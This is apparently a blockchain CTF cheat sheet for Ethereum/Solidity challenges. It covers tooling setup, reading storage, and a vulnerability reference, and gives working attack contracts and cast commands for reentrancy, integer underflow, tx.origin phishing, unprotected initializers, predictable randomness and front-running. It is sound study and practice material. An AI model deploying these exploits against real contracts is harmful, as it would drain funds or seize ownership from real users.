blockchain::ctf

crypto ethereum · solidity smart contracts
SetupReconVulnerabilities ReentrancyOverflowAccess Control RandomnessStorageTools
01Setup & Environment
Connect to challenge
# Most CTF blockchain challenges provide:
# - RPC endpoint (e.g. http://host:port)
# - Deployed contract address
# - Private key (funded test account)
# - Challenge contract source

# Install foundry (cast + forge + anvil)
curl -L https://foundry.paradigm.xyz | bash
foundryup

# Quick cast interaction
cast call <contract> "isSolved()(bool)" \
  --rpc-url http://host:port

# Send transaction
cast send <contract> "solve()" \
  --private-key <key> --rpc-url http://host:port
Web3.py quick setup
from web3 import Web3

w3 = Web3(Web3.HTTPProvider('http://host:port'))
account = w3.eth.account.from_key('0xprivkey')
contract = w3.eth.contract(
    address='0xcontract...',
    abi=abi_json
)

# Read state
result = contract.functions.isSolved().call()

# Send transaction
tx = contract.functions.solve().build_transaction({
    'from': account.address,
    'nonce': w3.eth.get_transaction_count(account.address),
    'gas': 200000,
})
signed = account.sign_transaction(tx)
w3.eth.send_raw_transaction(signed.rawTransaction)
02Recon — Read Contract State
cast commands
# Get ABI / source
cast etherscan-source <addr>    # if on mainnet

# Read public variables
cast call <addr> "owner()(address)"
cast call <addr> "balanceOf(address)(uint256)" <user>

# Read raw storage slot
cast storage <addr> 0          # slot 0
cast storage <addr> 1          # slot 1

# Get balance
cast balance <addr> --rpc-url http://host:port

# Decode calldata
cast 4byte-decode <calldata>
cast calldata-decode "func(uint256)" <calldata>

# Transaction history
cast tx <txhash>
cast receipt <txhash>
Storage layout
# Solidity storage slots (256-bit each)
# Slot 0: first state var
# Slot 1: second state var
# Mappings: slot = keccak256(key . base_slot)
# Arrays:   slot = keccak256(base_slot) + index

# Calculate mapping slot in Python
python3 -c "
from web3 import Web3
key = Web3.to_bytes(hexstr='0x' + '0'*62 + 'addr_padded')
slot = Web3.to_bytes(0)  # base slot = 0
loc = Web3.solidity_keccak(['bytes32','bytes32'], [key, slot])
print(loc.hex())
"

# Private variables are NOT secret
# Everything on-chain is readable
cast storage <contract> <slot> --rpc-url http://host
03Common Vulnerability Classes
Vulnerability quick reference
VulnerabilityPattern to look forImpact
ReentrancyExternal call before state updateDrain funds, infinite loops critical
Integer overflowSolidity < 0.8.0, no SafeMath, unchecked{}Wrap to 0 / max uint critical
tx.origin authrequire(tx.origin == owner)Bypass via intermediate contract
Weak randomnessblock.timestamp, blockhash, block.numberPredict "random" values
Delegatecalldelegatecall to attacker-controlled addressTake over storage/ownership
Private datapassword stored in private variableRead raw storage slot
SelfdestructForce send ETH to any contractBreak balance assumptions
Flash loanPrice oracle manipulation in same txDrain pools
Access controlMissing onlyOwner, public init functionUnauthorized ownership
Front-runningCommit-reveal missing, predictable mempoolMEV / steal prizes
04Reentrancy
Identify & exploit
// Vulnerable pattern:
function withdraw(uint amount) public {
    require(balances[msg.sender] >= amount);
    (bool ok,) = msg.sender.call{value: amount}("");
    balances[msg.sender] -= amount; // update AFTER call!
}

// Attack contract
contract Attack {
    Victim victim;
    constructor(address _v) { victim = Victim(_v); }

    function attack() external payable {
        victim.deposit{value: 1 ether}();
        victim.withdraw(1 ether);
    }

    receive() external payable {
        // Called when ETH arrives — re-enter!
        if (address(victim).balance >= 1 ether) {
            victim.withdraw(1 ether);
        }
    }
}
Deploy & run with foundry
# Write Attack.sol, then:
forge create Attack \
  --constructor-args <victim_addr> \
  --private-key <key> \
  --rpc-url http://host:port

# Call attack function
cast send <attack_addr> "attack()" \
  --value 1ether \
  --private-key <key> \
  --rpc-url http://host:port

# Or use cast send for simple cases
cast send <victim> "withdraw(uint256)" 1000000000000000000 \
  --private-key <key> --rpc-url http://host:port
05Integer Overflow (Solidity < 0.8.0)
Overflow patterns
// uint8 max = 255 → 255 + 1 = 0 (wraps)
// uint256 max → +1 = 0
// 0 - 1 = 2^256 - 1 (underflow)

// Classic: balances underflow
mapping(address=>uint) public balances;
function transfer(address to, uint amt) public {
    balances[msg.sender] -= amt; // underflow if amt > balance!
    balances[to] += amt;
}
// Call transfer(self, 1) with 0 balance → balance wraps to 2^256-1

// Solidity >= 0.8.0: auto-reverts on overflow
// Bypass with unchecked{}: unchecked { x -= 1; }
Exploit examples
# Cast call to trigger underflow
cast send <contract> \
  "transfer(address,uint256)" \
  <my_addr> 1 \
  --private-key <key> --rpc-url http://host

# Verify new balance (should be huge)
cast call <contract> \
  "balanceOf(address)(uint256)" <my_addr>

# Python: calculate overflow value
python3 -c "print(2**256 - 1)"
python3 -c "print(2**256 - 100)"  # underflow by 100
06Access Control
tx.origin bypass
// Vulnerable: uses tx.origin instead of msg.sender
function withdraw() public {
    require(tx.origin == owner);
    payable(msg.sender).transfer(address(this).balance);
}

// Attack: trick owner into calling YOUR contract
// Your contract calls victim.withdraw()
// tx.origin = owner (they signed), msg.sender = your contract
contract TxOriginAttack {
    Victim victim;
    function phish() external {
        // Owner calls this → tx.origin = owner
        victim.withdraw();
    }
}
Unprotected initializers
// Unprotected ownership:
function initOwner(address _owner) public {
    owner = _owner; // no require! callable by anyone
}
// → call initOwner(my_address)

// Proxy pattern: uninitialized implementation
// Call initialize() on implementation contract directly
cast send <impl_addr> "initialize(address)" <my_addr> \
  --private-key <key> --rpc-url http://host

// Delegatecall: storage collision
// If slot 0 is owner in proxy AND slot 0 is other var in impl
// → write impl slot 0 via delegatecall → overwrites proxy owner
07Weak Randomness
Predict on-chain "randomness"
// Predictable sources (all public on chain):
uint rand = uint(keccak256(abi.encodePacked(
    block.timestamp,    // known
    block.number,       // known
    blockhash(block.number - 1)  // known
))) % 10;

// Replicate in attack contract (same block = same values)
contract PredictAttack {
    Target target;
    function attack() external {
        uint guess = uint(keccak256(abi.encodePacked(
            block.timestamp,
            block.number,
            blockhash(block.number - 1)
        ))) % 10;
        target.guess(guess);  // always correct
    }
}
Commit-reveal bypass & Chainlink VRF
// Commit-reveal: reveal before deadline?
// Check: is commit stored on-chain?
cast storage <contract> <slot>  # read commitment

// Chainlink VRF: not bypassable (true randomness)
// But: check if requestId is predictable
// Check: does contract accept direct VRF fulfillment?

# Front-running lottery:
# Monitor mempool → see winning tx → submit same answer
# with higher gas price → your tx mines first

# Tools for mempool sniping:
# flashbots, bloXroute
08Storage Reading & Tools
Read "private" storage
# All storage is public — read with cast storage
cast storage <addr> 0     # slot 0 (owner typically)
cast storage <addr> 1     # slot 1 (password?)
cast storage <addr> 2     # slot 2...

# Convert hex bytes32 → string
python3 -c "print(bytes.fromhex('deadbeef...').decode(errors='replace'))"

# Calculate mapping slot
python3 -c "
from eth_abi.packed import encode_packed
from web3 import Web3
key = '0x' + '0'*24 + 'your_addr_no_0x'
slot = 0
h = Web3.solidity_keccak(['address','uint256'], [key, slot])
print(h.hex())
"
cast storage <addr> <slot_hex>
Tools reference
ToolUse
cast (foundry)CLI: call, send, storage read, decode essential
forge (foundry)Compile, test, deploy contracts
anvil (foundry)Local EVM node for testing
Remix IDEBrowser Solidity IDE + debugger
EtherscanSource, ABI, tx history (mainnet)
web3.pyPython ETH interaction
ethers.jsJS ETH interaction
SlitherStatic analysis for Solidity
EchidnaFuzzing for Solidity
MythrilSymbolic execution / vuln scanner
Foundry forge test template
// test/Exploit.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Challenge.sol";

contract ExploitTest is Test {
    Challenge challenge;

    function setUp() public {
        challenge = new Challenge();
    }

    function test_exploit() public {
        // Your exploit here
        vm.deal(address(this), 1 ether);
        challenge.attack{value: 1 ether}();
        assertTrue(challenge.isSolved());
    }
}

# Run test
forge test -vvvv
# -vvvv = max verbosity (shows traces)
BLOCKCHAIN CHECKLIST →  ① Read source: look for external calls before state updates (reentrancy)  ② cast storage <addr> 0,1,2... — read all slots (nothing is private)  ③ Solidity version < 0.8.0 → check arithmetic for overflow/underflow  ④ tx.origin == owner → bypass with intermediate contract  ⑤ block.timestamp / blockhash randomness → predict in attack contract  ⑥ >Public/missing modifier on init → call it yourself  ⑦ forge test -vvvv to prototype exploit locally before deploying